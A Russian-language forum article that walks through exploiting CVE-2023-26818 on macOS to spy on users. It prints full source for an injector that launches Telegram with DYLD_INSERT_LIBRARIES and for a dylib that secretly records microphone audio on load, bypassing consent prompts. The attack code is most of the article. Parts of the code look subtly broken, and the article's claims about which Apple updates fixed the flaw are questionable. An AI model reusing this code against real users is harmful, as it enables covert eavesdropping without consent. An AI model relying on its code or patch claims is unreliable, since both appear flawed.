Статья Шпионить за устройствами Apple с помощью CVE-2023-26818

Admin

Администратор

Шпионить за устройствами Apple с помощью CVE-2023-26818​


Введение​


В этой статье мы рассмотрим, как использовать уязвимость CVE-2023-26818, которая позволяет вредоносному приложению получать доступ к файлам пользователя, микрофону или камере, используя механизм под названием Transparency, Consent and Control (TCC).
TCC — это система, которая контролирует доступ к чувствительным системным ресурсам, запрашивая согласие пользователя. Однако существует возможность обойти TCC с помощью параметра DYLD_INSERT_LIBRARIES, который позволяет загружать динамическую библиотеку в процесс.


Атака заключается во внедрении вредоносной библиотеки в процесс Telegram, после чего приложение может получать доступ к ресурсам без запроса согласия пользователя. Данная уязвимость была обнаружена в 2023 году анонимным исследователем. Apple исправила эту уязвимость в обновлениях macOS Ventura 13.3, iOS 16.4, iPadOS 16.4 и macOS Big Sur 11.7.5. Поэтому пользователям рекомендуется как можно скорее обновить свои системы, проверяя источник и подпись обновлений.


Предварительные требования​


Для использования этой уязвимости необходимы следующие элементы:


  • Уязвимая операционная система Apple, то есть версия ниже macOS Ventura 13.3, iOS 16.4, iPadOS 16.4 или macOS Big Sur 11.7.5.
  • Вредоносное приложение — это может быть исполняемый файл, скрипт или веб-страница, содержащие код, использующий уязвимость.
  • Физический или удалённый доступ к целевой системе, позволяющий запустить вредоносное приложение.
  • Целевое приложение (в данном случае Telegram), которое уже получило согласие пользователя на доступ к ресурсам.

Метод использования​


Использование уязвимости CVE-2023-26818 происходит в несколько этапов:


  1. Вредоносное приложение создаёт динамическую библиотеку, содержащую вредоносный код, например для записи звука или видео с микрофона или камеры, либо для чтения системных файлов.
  2. Вредоносное приложение копирует динамическую библиотеку в доступный пользователю каталог, например /tmp.
  3. Вредоносное приложение изменяет переменную окружения DYLD_INSERT_LIBRARIES, добавляя путь к динамической библиотеке, например /tmp/libmalware.dylib.
  4. Вредоносное приложение запускает целевое приложение (Telegram), используя изменённую переменную окружения. Это приводит к загрузке динамической библиотеки в процесс Telegram и выполнению вредоносного кода.
  5. Вредоносное приложение получает данные, собранные вредоносным кодом, которые могут быть сохранены в файл или отправлены на удалённый сервер.

Код эксплуатации​


Код для использования уязвимости CVE-2023-26818 доступен на GitHub. Это проект Xcode, который содержит два файла:
main.m — исходный код вредоносного приложения,
libmalware.c — исходный код динамической библиотеки.


Исходный код вредоносного приложения выглядит следующим образом:

C:
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>

// The path of the library to inject
#define LIBRARY_PATH @"/tmp/libmalware.dylib"

// The name of the target application
#define TARGET_APPLICATION @"Telegram"

// The path of the target application
#define TARGET_APPLICATION_PATH @"/Applications/Telegram Desktop/Telegram"

// A function that checks if an application with a given name is running
BOOL isApplicationRunning(NSString *applicationName) {
    // Get the list of all running applications
    NSArray *runningApplications = [[NSWorkspace sharedWorkspace] runningApplications];
 
    // Loop through the list and check the application name
    for (NSRunningApplication *application in runningApplications) {
        if ([application.localizedName isEqualToString:applicationName]) {
            // The application is running
            return YES;
        }
    }
 
    // The application is not running
    return NO;
}

// A function that executes a command
void executeCommand(NSString *command) {
    // Create a task object
    NSTask *task = [[NSTask alloc] init];
 
    // Set the launch path to the command
    [task setLaunchPath:command];
 
    // Launch the task
    [task launch];
}

// A function that injects a library into an application
void injectLibrary(NSString *libraryPath, NSString *applicationPath) {
    // Create a dictionary object
    NSMutableDictionary *dictionary = [[NSMutableDictionary alloc] init];
 
    // Set the dictionary key to the library path
    [dictionary setObject:libraryPath forKey:@"DYLD_INSERT_LIBRARIES"];
 
    // Set the dictionary value to the application path
    [dictionary setObject:applicationPath forKey:@"NSUnbufferedIO"];
 
    // Create a task object
    NSTask *task = [[NSTask alloc] init];
 
    // Set the launch path to the application path
    [task setLaunchPath:applicationPath];
 
    // Set the environment to the dictionary
    [task setEnvironment:dictionary];
 
    // Launch the task
    [task launch];
}

// The main function
int main(int argc, const char * argv[]) {
    // Create an autorelease pool
    @autoreleasepool {
        // Check if the target application is running
        if (isApplicationRunning(TARGET_APPLICATION)) {
            // Inject the library into the target application
            injectLibrary(LIBRARY_PATH, TARGET_APPLICATION_PATH);
        } else {
            // Exit the application
            [NSApp terminate:nil];
        }
    }
    return 0;
}

Этот код использует функцию setEnvironment класса NSTask, которая позволяет изменять переменные окружения запускаемого процесса. Он создаёт словарь, содержащий путь к динамической библиотеке для внедрения и путь к целевому приложению, которое необходимо запустить. Затем используется функция injectLibrary, которая запускает целевое приложение с изменённой переменной окружения. В результате динамическая библиотека загружается в процесс целевого приложения и выполняется вредоносный код.


Исходный код динамической библиотеки выглядит следующим образом:

C:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <AVFoundation/AVFoundation.h>

// The path of the file to write
#define FILE_PATH "/tmp/malware.txt"

// The content of the file to write
#define FILE_CONTENT "Hello, I am malware!\n"

// A function that writes a file
void writeFile() {
    // Open the file to write
    int fd = open(FILE_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0644);
 
    // Check if the file was opened successfully
    if (fd != -1) {
        // Write the file content to the file
        write(fd, FILE_CONTENT, strlen(FILE_CONTENT));
    
        // Close the file
        close(fd);
    
        // Print a success message
        printf("File written successfully\n");
    } else {
        // Print an error message
        perror("File open failed");
    }
}

// A function that records the audio
void recordAudio() {
    // Create an audio device object
    AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
 
    // Check if the audio device is available
    if (audioDevice) {
        // Create an audio device input object
        AVCaptureDeviceInput *audioDeviceInput = [AVCaptureDeviceInput deviceInputWithDevice:audioDevice error:nil];
    
        // Check if the audio device input is available
        if (audioDeviceInput) {
            // Create a capture session object
            AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
        
            // Check if the capture session can add the audio device input
            if ([captureSession canAddInput:audioDeviceInput]) {
                // Add the audio device input to the capture session
                [captureSession addInput:audioDeviceInput];
            
                // Create a file output object
                AVCaptureAudioFileOutput *fileOutput = [[AVCaptureAudioFileOutput alloc] init];
            
                // Check if the capture session can add the file output
                if ([captureSession canAddOutput:fileOutput]) {
                    // Add the file output to the capture session
                    [captureSession addOutput:fileOutput];
                
                    // Create a file URL object
                    NSURL *fileURL = [NSURL fileURLWithPath:@"/tmp/audio.wav"];
                
                    // Start the capture session
                    [captureSession startRunning];
                
                    // Start recording the audio to the file
                    [fileOutput startRecordingToOutputFileURL:fileURL outputFileType:AVFileTypeWAVE recordingDelegate:nil];
                
                    // Wait for 10 seconds
                    sleep(10);
                
                    // Stop recording the audio
                    [fileOutput stopRecording];
                
                    // Stop the capture session
                    [captureSession stopRunning];
                
                    // Print a success message
                    printf("Audio recorded successfully\n");
                } else {
                    // Print an error message
                    printf("Capture session cannot add file output\n");
                }
            } else {
                // Print an error message
                printf("Capture session cannot add audio device input\n");
            }
        } else {
            // Print an error message
            printf("Audio device input is not available\n");
        }
    } else {
        // Print an error message
        printf("Audio device is not available\n");
    }
}

// A function that is called when the library is loaded
__attribute__((constructor))
void libraryLoaded() {
    // Write a file
    writeFile();
 
    // Record the audio
    recordAudio();
}

Этот код использует класс AVCaptureDevice, который предоставляет доступ к аудио- и видеоустройствам системы. Он создаёт объект AVCaptureDevice для микрофона и объект AVCaptureDeviceInput, чтобы подключить его к объекту AVCaptureSession, который отвечает за захват данных. Затем создаётся объект AVCaptureAudioFileOutput, который сохраняет захваченные данные в файл.


После этого запускается сессия захвата, и в течение 10 секунд производится запись звука с микрофона в файл /tmp/audio.wav. Затем сессия захвата останавливается, и выводится сообщение об успешном выполнении. Этот код выполняется в момент загрузки библиотеки благодаря атрибуту __attribute__((constructor)), который указывает компилятору запускать функцию libraryLoaded при старте.


Заключение​


Уязвимость CVE-2023-26818 является критической проблемой безопасности, которая позволяет вредоносному приложению получать доступ к файлам пользователя, микрофону или камере, используя механизм Transparency, Consent and Control (TCC). TCC — это система, контролирующая доступ к чувствительным системным ресурсам и запрашивающая согласие пользователя.

Однако TCC можно обойти с помощью параметра DYLD_INSERT_LIBRARIES, который позволяет загружать динамическую библиотеку в процесс. Атака заключается во внедрении вредоносной библиотеки в процесс Telegram, после чего становится возможным доступ к ресурсам без запроса согласия пользователя.

Данная уязвимость была исправлена Apple в обновлениях macOS Ventura 13.3, iOS 16.4, iPadOS 16.4 и macOS Big Sur 11.7.5. В связи с этим пользователям рекомендуется как можно скорее обновить свои системы, проверяя источник и цифровую подпись обновлений. Также рекомендуется проявлять осторожность при использовании приложений из неизвестных или непроверенных источников и проверять подлинность окон, запрашивающих разрешения. В случае сомнений лучше отменить операцию и обратиться в службу поддержки Apple.
 
Похожие темы
Support81 Французская полиция скоро получит право легально шпионить за своими подозреваемыми Новости в сети 0
Admin Интересно Великобритания ужесточает ответственность за публикацию запрещённого контента. Новости в сети 0
Admin Интересно Tesla отключила функцию автопилота у 100 тысяч владельцев за взлом системы. Новости в сети 0
Admin Интересно Нефтегазовая компания потеряла сотни тысяч фунтов из-за кибератаки. Новости в сети 0
Admin Интересно OpenAI приостанавливает строительство супер дата-центра в Великобритании из-за высоких затрат на электроэнергию. Новости в сети 0
Admin Интересно Роскомнадзор больше не один. Теперь за вашим VPN следят ещё 19 приложений. Новости в сети 0
Admin Интересно Спецслужбы используют мобильные игры для слежки за пользователями. Новости в сети 0
Admin Интересно Кофемашина в офисе: варит эспрессо и сливает данные за границу. Новости в сети 0
Admin Интересно LinkedIn обвиняют в шпионаже за пользователями через браузеры. Новости в сети 0
Admin Интересно Платформа X планирует автоматически блокировать аккаунты за первые публикации о криптовалюте. Новости в сети 0
Admin Интересно GitHub заблокировал доступ к сети проектов из-за утечки кода Anthropic. Новости в сети 0
Admin Интересно ICE использует шпионское ПО для борьбы с фентанилом, вызывая опасения за приватность. Новости в сети 0
Admin Интересно Люди снова летят к Луне — впервые за 54 года. Новости в сети 0
Admin Интересно Итальянская компания создала поддельную версию WhatsApp для слежки за пользователями. Новости в сети 0
Admin Интересно Piter-IX повышает цены на услуги из-за роста затрат и блокировок. Новости в сети 0
Admin Интересно Война правок и логотипов: Как Euro-Office поссорился с ONLYOFFICE из-за лицензии. Новости в сети 0
Admin Интересно Дроны теперь запускает робот-камикадзе. Люди остались за километры от смерти. Новости в сети 0
Admin Интересно Павел Дуров раскритиковал Apple за блокировку VPN-клиентов в России. Новости в сети 0
Admin Интересно НАСА готовится к запуску первой пилотируемой миссии на Луну за более чем 50 лет. Новости в сети 0
Admin Интересно Не просто «стенка с мониторами». Как за 6 недель создать работающий центр кибербезопасности. Новости в сети 0
Admin Интересно Ваш интернет под колпаком, а вы и не заметили. Рассказываем про невидимый код для слежки за миллионами. Новости в сети 0
Admin Интересно CISA добавила уязвимость CVE-2025-53521 в каталог KEV из-за активной эксплуатации в F5 BIG-IP APM. Новости в сети 0
Admin Интересно Армянского программиста экстрадировали в США за создание вредоноса RedLine. Новости в сети 0
Admin Интересно Использование VPN может усилить слежку за пользователями. Новости в сети 0
Admin Интересно Еврокомиссия начала расследование против Snapchat из-за недостаточной защиты детей. Новости в сети 0
Admin Интересно Полиция Германии разбудила сотни администраторов из-за критической уязвимости. Новости в сети 0
Admin Интересно Российский хакер приговорён к двум годам тюрьмы за управление ботнетом и атаки вымогателей. Новости в сети 0
Admin Интересно Meta обязана выплатить $375 млн за эксплуатацию детей — присяжные признали платформу небезопасной. Новости в сети 0
Admin Интересно FCC запретила импорт новых маршрутизаторов иностранного производства из-за рисков для кибербезопасности. Новости в сети 0
Admin Интересно Количество DDoS-атак выросло в полтора раза за год. Новости в сети 0
Admin Интересно Хотели видео с Каддафи, а получили хакеров в совете директоров. Госструктуры Ливии отплатили за любопытство. Новости в сети 0
Admin Интересно Amazon и Lidl планируют продавать солнечные панели в Великобритании для борьбы с ростом счетов за энергию. Новости в сети 0
Admin Интересно Российский хакер приговорён к 6,75 годам тюрьмы за участие в атаках с вымогательством. Новости в сети 0
Admin Интересно Пенсионерам отключат межгород. Кому еще в России запретят принимать звонки из-за границы. Новости в сети 0
Admin Интересно Ваш iPhone может больше, чем вы думали: например, выполнять чужой код из-за ошибки в памяти. Новости в сети 0
Admin Интересно Форум 4chan оштрафован на £450,000 за отсутствие проверки возраста для доступа к порнографии. Новости в сети 0
Admin Интересно GhostMail: как письмо о стажировке украло всю почту за 90 дней. Новости в сети 0
Admin Интересно Программисты больше не пишут код. Они управляют армией ботов, которые делают это за них. Новости в сети 0
Admin Интересно Ушёл из жизни Сергей Минеев — легендарный охотник за APT-группировками. Новости в сети 0
Admin Интересно Министерство юстиции США остановило работу ботнетов, ответственных за крупнейшие DDoS-атаки. Новости в сети 0
Admin Интересно Недоплатили при увольнении. Участник китайской хакерской группы сдал подельников из-за обиды на низкий гонорар. Новости в сети 0
Admin Интересно Роскомнадзор временно разблокировал WhatsApp из-за перегрузки оборудования. Новости в сети 0
Admin Интересно Премия Тьюринга присуждена за разработку квантовой криптографии. Новости в сети 0
Admin Интересно Пентагон внес ИИ-компанию в чёрный список за отказ сделать ИИ опаснее. Новости в сети 0
Admin Интересно 17-летнего школьника обвинили в финансировании терроризма из-за реакций в мессенджере. Новости в сети 0
Admin Интересно Парковка за счет хакеров. В Перми временно разрешили не платить за стоянку в центре. Новости в сети 0
Admin Интересно В Москве возвращаются пейджеры и стационарные телефоны из-за сбоев мобильного интернета. Новости в сети 0
Admin Интересно Пользователь DeFi потерял $50 миллионов из-за ошибки в интерфейсе. Новости в сети 0
Admin Интересно Москва в 2026 году: утром — нейросети и доставка за 15 минут, к вечеру — рация и бумажная карта. Новости в сети 0
Admin Интересно ИТ-компании тратили налоговые льготы на премии и штат: отчет Счетной палаты за 2025 год. Новости в сети 0

Название темы